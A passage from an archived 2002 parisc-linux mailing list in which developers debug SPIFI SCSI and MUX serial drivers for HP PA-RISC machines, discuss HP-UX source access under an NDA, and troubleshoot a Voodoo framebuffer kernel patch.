	CPU1 GR02 0x102274f4 sym53c8xx_intr+44
	CPU1 IOAQ 0x102275f0 sym53c8xx_intr+140

I hoped someone else has a chance to look at this too.
The rp2470 (gsyprf11) is externally accessible if a volunteer has time
to dig into this. Or let me know what I might try next.

thanks,
grant


From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SCSI/MUX driver on E55, NDA for sorce code
Date: Sun, 15 Sep 2002 20:11:07 +0200
Organization: private
Lines: 143
Approved: news@gmane.org
Message-ID: <3D84CD3B.88A9528B@gmx.at>
References: <3D825FDF.CD6E8CE2@gmx.at> <1031962399.930.17.camel@beavis> 
		<3D8281F4.F03A2007@gmx.at> <1031964117.1043.29.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621718 13952 80.91.229.3 (22 Nov 2014 02:01:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:58 +0000 (UTC)
Cc: varenet@esiee.fr,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 12:11:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B5464829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 12:11:13 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020915181110.CBLL4815.viefep12-int.chello.at@gmx.at>;
          Sun, 15 Sep 2002 20:11:10 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16129

Yes, I would be interested in HP-UX source code access,
if there are no costs I have to pay. I would sign a NDA.

The status of SCSI driver you sent me:
The machine does not really access the hardware. Also
if I patch the data structures or the "dev->hpa" pointer,
the driver reacts the same strange way.

The status of MUX: It is not working to access to offset
0x80 for the lines. The machine dies. I think this problem
can be solved very easy, looking in the HP-UX driver code.

I will do some futher code instrumentation on the SPIFI
driver. Then I will reread the driver of you and NetBSD
to have an idea, which access does fail here. Or do we
have a wrong hardware access anyway ?

Good start of the next week

Christoph



Ryan Bradetich wrote:
> 
> Thomas and Christoph,
> 
> Here is the current diff I have (I told you it was ugly! :))
> 
> I can not send you the HP-UX code.  If you are interested
> in pursuing the NDA to get access to the drivers, I can approach
> Alan Meyer (LSO Lab manager).  I am in IT, not the R&D lab so
> I do not have much insight in what they are doing :(
> 
> Hope this diff helps, and together hopefully we can get this to
> work and committed!
> 
> thanks,
> 
> - Ryan
> 
> On Fri, 2002-09-13 at 18:25, Christoph Plattner wrote:
> > Hello,
> >
> > if it is possible, send the code to me (perhpas I can
> > have a look @ week end.
> >
> > Is it possible to geht the HP-UX driver codes for those
> > to things ? MUX + SCSI ?
> >
> > I was offered to sign a NDA, but then nothing happens ...
> > It would be more easy for me to read such original HP-UX
> > code. Perhaps you see a possibility to send it also.
> >
> > Have a nice week end
> >
> > Christoph
> >
> >
> >
> > Ryan Bradetich wrote:
> > >
> > > On Fri, 2002-09-13 at 15:59, Christoph Plattner wrote:
> > > > Hallo Ryan !
> > > >
> > > > Congratulation, your MUX driver on port 0 is really
> > > > working on my machine !!
> > >
> > > Glad to hear that!
> > >
> > > > What do you miss to support the other lines ?
> > >
> > > I am not sure, I've never tried to hook up additional
> > > lines.  I do have an 8-port MDP somewhere, I'll look
> > > for it here shortly, and see if I can hook it up.
> > >
> > > > Have you already knowledge of the data structure ?
> > >
> > > Just what I have added into the driver.  If there is
> > > something that we are obviously missing, I can go back
> > > and reference the HP-UX mux driver and see what is
> > > missing.
> > >
> > > > Can I help you here in the code ?
> > >
> > > Please! :)  I do not use multiple lines currently ...
> > > I only use the line 0, so any testing, optimizing, etc
> > > is greatly appreciated!
> > >
> > > > Another point: you mentioned the skeleton of the
> > > > SCSI SPIFI driver. Where can I find that ? I only
> > > > found a NetBSD code, which I will use as functional
> > > > template, but I do not know, if this would be enough.
> > > > Can you give me a hint in this point ?
> > >
> > > I have it on my local system.  It is _very_ ugly at this
> > > point.  I have got enough to query information from the
> > > spifi chip, register an interrupt, etc... but currently
> > > I can not get the spifi chip to actually generate an
> > > interrupt.
> > >
> > > I would be happy to send you a copy when I get back next
> > > monday (unless you catch my in the next hour or so), but
> > > I'm not ready to check it into CVS yeah until I get rid
> > > of the some ugly hardcoded hacks, global variables, etc.
> > > Right now the driver is really coded to gather info from
> > > the ESIEE E35 that I have been testing on.  Once again,
> > > I do not have any docs on the chipset, I am using both
> > > the NetBSD and HP-UX drivers as reference. :(
> > >
> > > The driver should be easy to modify for your specific E55,
> > > but not sure if you are interested in that level of work,
> > > messyness now.  I promise it will get much better :)
> > >
> > > Thanks,
> > >
> > > - Ryan
> > >
> > > > Christoph
> > > >
> > > >
> > > > --
> > > > -------------------------------------------------------
> > > > private:      christoph.plattner@gmx.at
> > > > company:      christoph.plattner@alcatel.at
> > > >
> >
> > --
> > -------------------------------------------------------
> > private:      christoph.plattner@gmx.at
> > company:      christoph.plattner@alcatel.at
> >
> 
>   ------------------------------------------------------------------------
>                   Name: spifi.patch
>    spifi.patch    Type: text/x-patch
>               Encoding: quoted-printable

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: SCSI/MUX driver on E55, NDA for sorce code
Date: Sun, 15 Sep 2002 19:25:00 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020915192500.D10583@parcelfarce.linux.theplanet.co.uk>
References: <3D825FDF.CD6E8CE2@gmx.at> <1031962399.930.17.camel@beavis> <3D8281F4.F03A2007@gmx.at> <1031964117.1043.29.camel@beavis> <3D84CD3B.88A9528B@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621718 13953 80.91.229.3 (22 Nov 2014 02:01:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:58 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>, varenet@esiee.fr,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 12:25:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FCA84829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 12:25:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17qe4q-0003OP-00; Sun, 15 Sep 2002 19:25:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D84CD3B.88A9528B@gmx.at>; from christoph.plattner@gmx.at on Sun, Sep 15, 2002 at 08:11:07PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16130

On Sun, Sep 15, 2002 at 08:11:07PM +0200, Christoph Plattner wrote:
> The status of MUX: It is not working to access to offset
> 0x80 for the lines. The machine dies. I think this problem
> can be solved very easy, looking in the HP-UX driver code.

Not so sure...

common/sio/mux2.c:

for (loop = 0; loop < ports; loop++, ttyp++) {
        HW.hpa                  = MUX_DATA.hpa + 0x800 + (loop * 0x80);
        HW.io_reg_ptr           = (io_reg_type *)(HW.hpa + 0x30);
}

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [PATCH] Voodoo framebuffer on PARISC
Date: Mon, 16 Sep 2002 00:13:11 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <001201c25d05$150e6600$0100a8c0@PLUTO>
References: <200209150209.46701.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621718 13957 80.91.229.3 (22 Nov 2014 02:01:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:58 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 16:13:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id E30424829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 16:13:03 -0600 (MDT)
Original-Received: from [195.20.224.206] (helo=mrvdomng0.kundenserver.de)
	by moutvdom.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17qhdR-0007II-00
	for parisc-linux@lists.parisc-linux.org; Mon, 16 Sep 2002 00:12:57 +0200
Original-Received: from [217.227.249.14] (helo=PLUTO)
	by mrvdomng0.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17qhdQ-0000LR-00
	for parisc-linux@lists.parisc-linux.org; Mon, 16 Sep 2002 00:12:57 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-reply-to: <200209150209.46701.deller@gmx.de>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16131

Helge wrote:

> This patch is already integrated into the 2.4.19-pa18 
> kernel ...

Where can I get pa18? The latest on ftp.parisc-linux.org seems to be
pa17.

Cheers,
Tobias




From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status SPIFI SCSI
Date: Mon, 16 Sep 2002 01:25:35 +0200
Organization: private
Lines: 70
Approved: news@gmane.org
Message-ID: <3D8516EF.7A7D8206@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621719 13959 80.91.229.3 (22 Nov 2014 02:01:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:59 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 17:25:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4104B4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 17:25:44 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020915232541.FFIE4815.viefep12-int.chello.at@gmx.at>;
          Mon, 16 Sep 2002 01:25:41 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16132

Hallo Ryan,

here some comments on my non-successful work so far.

I did code reading and used debug instrumented code
to understand the structure behind the linux SCSI
handling.

Further I studied the NetBSD code. 

One major point: We do not get any interrupts.
For my analysis I only had a look on the first
steps of SCSI initialization, so this was the
INQUERY command.

The spifi command routine is called correctly,
but it has a wrong logical implementation. As I 
have seen on other (older) linux driver, the
xxx_command() has to block, after the command was
successful completed by interrupt. But the interrupt
never comes !! Even a "long" delay for simulating
blocking does not solve this problem.

>From base of the NetBSD code, I cannot follow your
code resetting the spifi subsystem. I think you have
this from HP-UX code. Especially the 

  __raw_writel(CMD_RESET, dev->hpa + IO_MODULE_COMMAND);

Is this a reset method via the IO PDC address space
common for all HP devices ? In the NetBSD the full
reset is done only via the `auxctrl' register, which
you use for releasing the reset state.

So we have a principal problem here, not having correct
access to the spifi subsystem. Except: the SCSI-ID is
read out correctly, I think, as ...

SCSI subsystem driver Revision: 1.00
DEBUG: 0xfff74c00
Device: Sahp Baat Kiuh SCSI
scsi0 : SPIFI SCSI: scsi_id: 7 IRQ: 34 type: SPIFI-3 (SE) parity
checking: enabled

... is reported !

Is everything around the interrupt subsystem setup correctly ?
The `cat /proc/interrupts' tells ...

bash# cat /proc/interrupts 
          CPU396195552 
 32:     124925      PARISC-CPU  timer
 33:      19767      PARISC-CPU  lasi
 34:          0      PARISC-CPU  spifi
 87:      19767            Lasi  i82596

... which is no surprise ... !

Till soon,
Christoph P.





-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: SCSI/MUX driver on E55, NDA for sorce code
Date: Mon, 16 Sep 2002 01:37:59 +0200
Organization: private
Lines: 67
Approved: news@gmane.org
Message-ID: <3D8519D7.55D90667@gmx.at>
References: <3D825FDF.CD6E8CE2@gmx.at> <1031962399.930.17.camel@beavis> <3D8281F4.F03A2007@gmx.at> <1031964117.1043.29.camel@beavis> <3D84CD3B.88A9528B@gmx.at> <20020915192500.D10583@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621719 13962 80.91.229.3 (22 Nov 2014 02:01:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:59 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>, varenet@esiee.fr,
	"MEYER,ALAN C. (HP-FtCollins,ex1)" <alan_meyer@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 17:38:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CE0F4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 17:38:04 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020915233802.FHJN4815.viefep12-int.chello.at@gmx.at>;
          Mon, 16 Sep 2002 01:38:02 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16133

Thanks for that !

But I think, my Linux code dose the same !!!

	info->iomem_base = (void *)(hpa + MUX_OFFSET + 
				    (line * MUX_LINE_OFFSET));

This info->iomem_base is used by all accesses, the 
registers of i/o are defined by Ryan as:

#define IO_COMMAND_REG_OFFSET 0x30
#define IO_STATUS_REG_OFFSET 0x34
#define IO_DATA_REG_OFFSET 0x3c
#define IO_DCOUNT_REG_OFFSET 0x40
#define IO_UCOUNT_REG_OFFSET 0x44
#define IO_FIFOS_REG_OFFSET 0x48

So the offset of 0x30 is inside those macros.

An example of an access:

		data = __raw_readl((unsigned long)info->iomem_base 
				   + IO_DATA_REG_OFFSET);

... reading characters from the input buffers.

Any further idea ?

Ryan, you mentioned problems concerning missing locks, but
I cannot think about this. Those devices should be controlled
independent, am I wrong ?

I hope, we will solve this all (all means including SPIFI
SCSI driver too !).

Christoph



Matthew Wilcox wrote:
> 
> On Sun, Sep 15, 2002 at 08:11:07PM +0200, Christoph Plattner wrote:
> > The status of MUX: It is not working to access to offset
> > 0x80 for the lines. The machine dies. I think this problem
> > can be solved very easy, looking in the HP-UX driver code.
> 
> Not so sure...
> 
> common/sio/mux2.c:
> 
> for (loop = 0; loop < ports; loop++, ttyp++) {
>         HW.hpa                  = MUX_DATA.hpa + 0x800 + (loop * 0x80);
>         HW.io_reg_ptr           = (io_reg_type *)(HW.hpa + 0x30);
> }
> 
> --
> Revolutions do not require corporate support.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Voodoo framebuffer on PARISC
Date: Mon, 16 Sep 2002 02:18:54 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <E267A5BE-C909-11D6-A91F-0030656F07A2@esiee.fr>
References: <001201c25d05$150e6600$0100a8c0@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v543)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621719 13975 80.91.229.3 (22 Nov 2014 02:01:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:59 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 18:18:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 456CF4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 18:18:58 -0600 (MDT)
Original-Received: from npyu.esiee.net ([213.245.40.23]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP
          id <20020916001855.GGWD21381.viefep13-int.chello.at@npyu.esiee.net>;
          Mon, 16 Sep 2002 02:18:55 +0200
In-Reply-To: <001201c25d05$150e6600$0100a8c0@PLUTO>
X-Mailer: Apple Mail (2.543)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16134

Le lundi, 16 sep 2002, =E0 00:13 Europe/Paris, Tobias Giesen a =E9crit :

> Helge wrote:
>
>> This patch is already integrated into the 2.4.19-pa18
>> kernel ...
>
> Where can I get pa18? The latest on ftp.parisc-linux.org seems to be
> pa17.
I'm currently building pa18 lifimage/iso, they will be available soon.
Though I think there's no point for you in trying to find a precompiled=20=

kernel,
since IIRC precomp are built with default debian-configs, which do not=20=

enable support
for sstfb.

Therefore I think you'd better get the latest kernel source from=20
cvs.parisc-linux.org
and build it with your own options :)

Greetings,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/=



From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [PATCH] Voodoo framebuffer on PARISC
Date: Mon, 16 Sep 2002 02:17:54 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <000001c25d16$80be8b30$0100a8c0@PLUTO>
References: <200209151031.16912.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621720 13979 80.91.229.3 (22 Nov 2014 02:02:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:00 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Helge Deller'" <deller@gmx.de>,
	"'B. Douglas Hilton'" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 15 18:24:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1FAD4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 15 Sep 2002 18:24:01 -0600 (MDT)
Original-Received: from [195.20.224.214] (helo=mrvdomng2.kundenserver.de)
	by moutvdom.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17qjaA-00023d-00; Mon, 16 Sep 2002 02:17:42 +0200
Original-Received: from [217.81.7.230] (helo=PLUTO)
	by mrvdomng2.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17qja9-0001Hd-00; Mon, 16 Sep 2002 02:17:41 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
In-Reply-To: <200209151031.16912.deller@gmx.de>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16135

Hello,

I think I need some more help with this. Here's what I did:

- grabbed fresh 2.4.19-pa17 sources
- applied sstfb.c and .h patch
- set kernel options to include sst1
- compiled & installed new kernel

The new kernel seems to try to activate a Voodoo console shortly after
the "If this is the last message you see ..." warning. However, my
monitor says the frequencies are out of range and switches itself off.
The main sti console is then dead also.

Any ideas? Maybe could I try a precompiled kernel with Voodoo support?

Thanks.

Best wishes,
Tobias Giesen





From - Thu Nov 08 21:24:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
